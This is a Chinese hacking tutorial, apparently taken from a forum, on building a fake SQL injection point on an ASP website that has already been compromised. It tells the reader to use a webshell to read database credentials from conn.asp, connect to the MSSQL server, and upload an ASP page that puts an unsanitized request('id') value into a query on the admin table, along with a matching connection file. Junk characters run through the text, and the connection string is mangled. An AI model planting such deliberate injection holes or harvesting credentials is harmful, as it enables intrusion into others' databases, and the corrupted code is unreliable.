首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:/ x0 O: ? Z( @( m
ASP/Visual Basic代码
1 I2 S1 o8 J. D. \$ T1 k; `<!--#include file="xx.asp"--> ! _3 v: j8 B6 n4 d9 G% z
<% 9 Y+ B& v9 G" f( @. M+ }, q) v
set rs=server.createobject("ADODB.recordset")
! r& b8 g2 x8 t% P2 w3 ~id = request("id")
9 ]8 d2 |, d2 k7 V3 n8 l5 vstrSQL = "select * from admin where id=" & id & ~" A- S8 U6 r7 Q; q
rs.open strSQL,conn,1,3 - m" K% G# M$ E7 D( \" P+ |8 H. w
rs.close
- p7 ]2 \+ U; Q g2 i/ j%> 6 u9 Z8 @( ?) J2 v
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!0 P7 O5 ^+ W0 ^3 W
然后就要构造一个连接数据库的文件了,代码如下:
1 k. S" k$ N9 nASP/Visual Basic代码
6 A. _1 X0 Y% \<% # c1 _2 z8 `) I5 B& t' Q; l
strSQLServerName = "000.000.000.000" '服务器名称或地址 . `" M4 m# k& d% |$ l! g
strSQLDBUserName = "sqlname" '数据库帐号
" d# a+ h5 ?2 i2 K+ s- i3 K. LstrSQLDBPassword = "sqlpass" '数据库密码
/ I' `4 J/ v; u2 e o$ ystrSQLDBName = "sqldataname" '数据库名称 . M; k4 J7 |- w0 l+ F9 F9 B3 T B) w
Set conn = Server.CreateObject("ADODB.Connection")
+ k2 t! B2 v/ {% {strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
1 ^" h' o6 B7 Hconn.open strCon
; o9 G) @% P8 H/ U* ~%>
; o( b1 N% q( z这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
) n) L/ q5 G! h3 A; v/ W n7 P |